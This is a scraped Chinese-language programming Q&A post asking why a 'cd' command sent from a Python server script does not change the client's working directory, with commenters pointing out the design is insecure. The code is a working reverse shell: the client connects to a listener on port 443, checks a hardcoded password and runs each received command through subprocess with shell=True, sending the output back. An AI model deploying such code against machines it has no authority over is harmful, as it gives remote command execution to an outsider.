【发布时间】:2019-01-27 21:57:08
【问题描述】:
我试图找出使用服务器脚本中的“cd”命令更改客户端脚本上工作目录的最简单方法,但无论何时运行 dir 命令,当前工作目录都不会改变。这是我的代码:
服务器代码:
import subprocess
import socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(("0.0.0.0", 443))
server_socket.listen(1)
connected_socket = server_socket.accept()[0]
while True:
encoded_data = connected_socket.recv(1024)
data = encoded_data.decode()
if data != "None":
print(data)
nextcmd = input("Shell: ")
connected_socket.send(nextcmd.encode())
else:
nextcmd = input("Shell: ")
connected_socket.send(nextcmd.encode())
客户代码:
import subprocess
import socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
passwd = "secret"
host = "127.0.0.1" #server
port = 443 #port for listener
def Shell():
while True:
encoded_data = client_socket.recv(1024)
data = encoded_data.decode()
if data == "kill":
client_socket.close()
break
elif data[:2] == "cd":
client_socket.send("OK".encode())
continue
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.communicate()[0] + proc.communicate()[1]
client_socket.send(output)
def Login():
global client_socket
client_socket.send("Login Required".encode())
pwd = client_socket.recv(1024)
if pwd.decode() != passwd:
Login()
else:
client_socket.send("connected".encode())
Shell()
client_socket.connect((host, port))
Login()
【问题讨论】:
-
如果您想知道,那根本不安全。
-
不使用加密或本地存储密码的事情?我知道我现在只是测试它。即将发生大量变化
-
这两个,加上你试图停止
kill命令。如果您运行它,请使用仅限白名单的sudoers文件并完全锁定运行 shell 的用户的所有内容,以防万一。但如果他们走到那一步,你就输了。 -
我对python相当陌生,我使用kill命令关闭shell,这是不好的做法吗?你会怎么做?
-
我会使用
exit或logout,因为kill是杀死其他进程的程序。我认为通过静默关闭连接来阻止kill命令的使用是一种微不足道的尝试。
标签: python-3.x sockets subprocess client-server